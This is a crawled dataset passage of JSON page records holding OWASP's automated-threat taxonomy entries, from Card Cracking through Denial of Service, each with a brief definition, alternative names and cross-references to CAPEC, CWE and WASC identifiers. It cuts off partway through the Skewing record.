attack against application payment card processes to identify the missing values for start date, expiry date and/or card security code (CSC), also referred to in many ways, including card validation number 2 (CVN2), card validation code (CVC), card verification value (CV2) and card identification number (CID).\n\nWhen these values are known as well as the Primary Account Number (PAN), [OAT-001_Carding](OAT-001_Carding.html) is used to validate the details, and [OAT-012 Cashing Out](OAT-012_Cashing_Out.html) to obtain goods or cash.\n\n### Other Names and Examples\n\nBrute forcing credit card information; Card brute forcing; Credit card cracking; Distributed guessing attack, PAN enumeration\n\n### See Also\n\n- [OAT-001_Carding](OAT-001_Carding.html)\n- [OAT-012 Cashing Out](OAT-012_Cashing_Out.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 112 Brute Force\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 11 Brute Force\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n- Brute Force Attack\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2433, "slov": 303, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:43", "sha256": "44dc4c65480b9223f5d8efd416b48b3b5f4e944167be2ad55aa5a835a2450efb", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping.html", "titulek": "OAT-011 Scraping | OWASP Foundation", "h1": "OAT-011 Scraping", "popis": "OAT-011 Scraping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-011 Scraping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-011 Scraping | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-011_Scraping.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-011 Scraping"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-011 Scraping\n\n**Scraping** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-011\n\n### Threat Event Name\n\nScraping\n\n### Summary Defining Characteristics\n\nCollect application content and/or other data for use elsewhere.\n\n### Indicative Diagram\n\n### Description\n\nCollecting/copying accessible data and/or processed output, for subsequent use such as exploitation of proprietary data, or price-fixing. Some scraping may use fake or compromised accounts, or the information may be accessible without authentication. The scraper may attempt to read all accessible paths and parameter values for web pages and APIs, collecting the responses and extracting data from them. Scraping can be ongoing, or be more periodic in nature. Scraping can be used to gain insight into design/operation - perhaps for cryptanalysis, reverse engineering, or session analysis.\n\nWhen another application is being used as an intermediary between the user(s) and the real application, see [OAT-020 Account Aggregation](OAT-020_Account_Aggregation.html). If the intent is to obtain cash or goods, see [OAT-012 Cashing Out](OAT-012_Cashing_Out.html) instead.\n\n### Other Names and Examples\n\nAI RAG bot; API provisioning; Bargain hunting; Comparative shopping; Content scraping; Data aggregation; Database scraping; Farming; Harvesting; LLM/AI scraper; LLM training bot; Meta search scraper; Mining; Mirroring; Pagejacking; Ripping; Screen scraping; Subscriber snooping; Web crawler\n\n### See Also\n\n- [OAT-012 Cashing Out](OAT-012_Cashing_Out.html)\n- [OAT-018 Footprinting](OAT-018_Footprinting.html)\n- [OAT-020 Account Aggregation](OAT-020_Account_Aggregation.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2850, "slov": 348, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:54", "sha256": "4f3229e733320743eba69e6192ffd7268bca8840219f4f63a2cb4a11c8ecb4b1", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-012_Cashing_Out.html", "titulek": "OAT-012 Cashing Out | OWASP Foundation", "h1": "OAT-012 Cashing Out", "popis": "OAT-012 Cashing Out on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-012_Cashing_Out", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-012 Cashing Out on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-012 Cashing Out | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-012_Cashing_Out.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-012 Cashing Out"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-012 Cashing Out\n\n**Cashing Out** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-012\n\n### Threat Event Name\n\nCashing Out\n\n### Summary Defining Characteristics\n\nBuy goods or obtain cash utilising validated stolen payment card or other user account data.\n\n### Indicative Diagram\n\n### Description\n\nObtaining currency or higher-value merchandise via the application using stolen, previously validated payment cards or other account login credentials. Cashing Out sometimes may be undertaken in conjunction with product return fraud. For financial transactions, this is usually a transfer of funds to a mule’s account. For payment cards, this activity may occur following [OAT-001 Carding](OAT-001_Carding.html) of bulk stolen data, or [OAT-010 Card Cracking](OAT-010_Card_Cracking.html), and the goods are dropped at a reshipper’s address. The refunding of payments via non-financial applications (e.g. tax refunds, claims payment) is also included in Cashing Out.\n\nObtaining other information of value from the application is instead [OAT-011 Scraping](OAT-011_Scraping.html).\n\n### Other Names and Examples\n\nDeetsing; Monetisation; Money laundering; Online credit card fraud; Online payment card fraud; Refund fraud; Stolen identity fraud (SIRF)\n\n### See Also\n\n- [OAT-001 Carding](OAT-001_Carding.html)\n- [OAT-010 Card Cracking](OAT-010_Card_Cracking.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2672, "slov": 333, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:45", "sha256": "faebc03433bc69a464ddc8ee70eb292c99ace3f5ba0783d2965f425ebc7c0c18", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-013_Sniping.html", "titulek": "OAT-013 Sniping | OWASP Foundation", "h1": "OAT-013 Sniping", "popis": "OAT-013 Sniping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-013_Sniping", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-013 Sniping on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-013 Sniping | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-013_Sniping.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-013 Sniping"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-013 Sniping\n\n**Sniping** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-013\n\n### Threat Event Name\n\nSniping\n\n### Summary Defining Characteristics\n\nLast minute bid or offer for goods or services.\n\n### Indicative Diagram\n\n### Description\n\nThe defining characteristic of Sniping is an action undertaken at the latest opportunity to achieve a particular objective, leaving insufficient time for another user to bid/offer. Sniping can also be the automated exploitation of system latencies in the form of timing attacks. Careful timing and prompt action are necessary parts. It is most well known as auction sniping, but the same threat event can be used in other types of applications. Sniping normally leads to some disbenefit for other users, and sometimes that might be considered a form of user denial of service.\n\nIn contrast, [OAT-005 Scalping](OAT-005_Scalping.html) is the acquisition of limited availability of sought-after goods or services, and [OAT-006 Expediting](OAT-006_Expediting.html) is the general hastening of progress.\n\n### Other Names and Examples\n\nAuction sniping; Bid sniper; Front- running; Last look; Last minute bet; Timing attack\n\n### See Also\n\n- [OAT-005 Scalping](OAT-005_Scalping.html)\n- [OAT-006 Expediting](OAT-006_Expediting.html)\n- [OAT-015 Denial of Service](OAT-015_Denial_of_Service.html)\n- [OAT-021 Denial of Inventory](OAT-021_Denial_of_Inventory.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- —\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2565, "slov": 325, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:56", "sha256": "be3fd68bbe9ac68fef1bc09317d6177cb628c96bee238f8ffb100ce15aa8f2a0", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning.html", "titulek": "OAT-014 Vulnerability Scanning | OWASP Foundation", "h1": "OAT-014 Vulnerability Scanning", "popis": "OAT-014 Vulnerability Scanning on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-014 Vulnerability Scanning on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-014 Vulnerability Scanning | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-014 Vulnerability Scanning"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-014 Vulnerability Scanning\n\n**Vulnerability Scanning** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-014\n\n### Threat Event Name\n\nVulnerability Scanning\n\n### Summary Defining Characteristics\n\nCrawl and fuzz application to identify weaknesses and possible vulnerabilities.\n\n### Indicative Diagram\n\n### Description\n\nSystematic enumeration and examination of identifiable, guessable and unknown content locations, paths, file names, parameters, in order to find weaknesses and points where a security vulnerability might exist. Vulnerability Scanning includes both malicious scanning and friendly scanning by an authorised vulnerability scanning engine. It differs from [OAT-011 Scraping](OAT-011_Scraping.html) in that its aim is to identify potential vulnerabilities.\n\nThe exploitation of individual vulnerabilities is not included in the scope of this ontology, but this process of scanning, along with [OAT-018 Footprinting](OAT-018_Footprinting.html), [OAT-004 Fingerprinting](OAT-004_Fingerprinting.html) and [OAT-011 Scraping](OAT-011_Scraping.html) often form part of application penetration testing.\n\n### Other Names and Examples\n\nActive/Passive scanning; Application-specific vulnerability discovery; Identifying vulnerable content management systems (CMS) and CMS components; Known vulnerability scanning; Malicious crawling; Vulnerability reconnaissance\n\n### See Also\n\n- [OAT-004 Fingerprinting](OAT-004_Fingerprinting.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n- [OAT-018 Footprinting](OAT-018_Footprinting.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- —\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 841 Improper Enforcement of Behavioral Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n\n### OWASP Attack Category / Attack IDs\n\n- —\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2722, "slov": 310, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:59", "sha256": "459c6ef19e9ce7ca7260e8b048f0f9735f49d4f0f0991e7de6bb9d3d2ad2e9b7", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-015_Denial_of_Service.html", "titulek": "OAT-015 Denial of Service | OWASP Foundation", "h1": "OAT-015 Denial of Service", "popis": "OAT-015 Denial of Service on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-015_Denial_of_Service", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-015 Denial of Service on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-015 Denial of Service | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-015_Denial_of_Service.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-015 Denial of Service"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-015 Denial of Service\n\n**Denial of Service** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-015\n\n### Threat Event Name\n\nDenial of Service\n\n### Summary Defining Characteristics\n\nTarget any type of resource use, or individual user accounts, to reduce application availability.\n\n### Indicative Diagram\n\n### Description\n\nUsage may resemble legitimate application usage, but may lead to reduced performance (e.g. slow down, brownout) and eventual exhaustion of resources such as file system, memory, processes, threads, CPU, and human or financial resources. The resources might be related to web, application or databases servers or other services supporting the application, such as third party APIs, included third-party hosted content, or content delivery networks (CDNs). The application may be affected as a whole, or the attack may be against individual users such as account lockout.\n\nThis ontology’s scope excludes other forms of denial of service that affect web applications, namely HTTP Flood DoS (GET, POST, Header with/without TLS), HTTP Slow DoS, IP layer 3 DoS, and TCP layer 4 DoS. Those protocol and lower layer aspects are covered adequately in other taxonomies and lists.\n\n### Other Names and Examples\n\nAccount lockout; App layer DDoS; Asymmetric resource consumption (amplification); Business logic DDoS; Cash overflow; Denial of wallet; Forced deadlock; Hash DoS; Indexer DoS; Large files DoS; Resource depletion, locking or exhaustion; Unbounded consumption\n\n### See Also\n\n- [OAT-005 Scalping](OAT-005_Scalping.html)\n- [OAT-013 Sniping](OAT-013_Sniping.html)\n- [OAT-017 Spamming](OAT-017_Spamming.html)\n- [OAT-019 Account Creation](OAT-019_Account_Creation.html)\n- [OAT-021 Denial of Inventory](OAT-021_Denial_of_Inventory.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 2 Inducing Account Lockout\n- 25 Forced Deadlock\n- 488 HTTP Flood\n\n### CWE Base / Class / Variant IDs\n\n- 399 Resource Management Errors\n- 645 Overly Restrictive Account Lockout Mechanism\n- 770 Allocation of Resources Without Limits or Throttling\n\n### WASC Threat IDs\n\n- 10 Denial of Service\n\n### OWASP Attack Category / Attack IDs\n\n- Cash Overflow\n- Denial of Service\n- Regular Expression Denial of Service\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 3100, "slov": 398, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:49", "sha256": "67dce40ae81da56b3e6641bc669a3413f807175ef1e8cf7de4696b49b932e56d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-016_Skewing.html", "titulek": "OAT-016 Skewing | OWASP Foundation", "h1": "OAT-016 Skewing", "popis": "OAT-016 Skewing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-016_Skewing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-016 Skewing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-016 Skewing | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-016_Skewing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-016 Skewing"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, 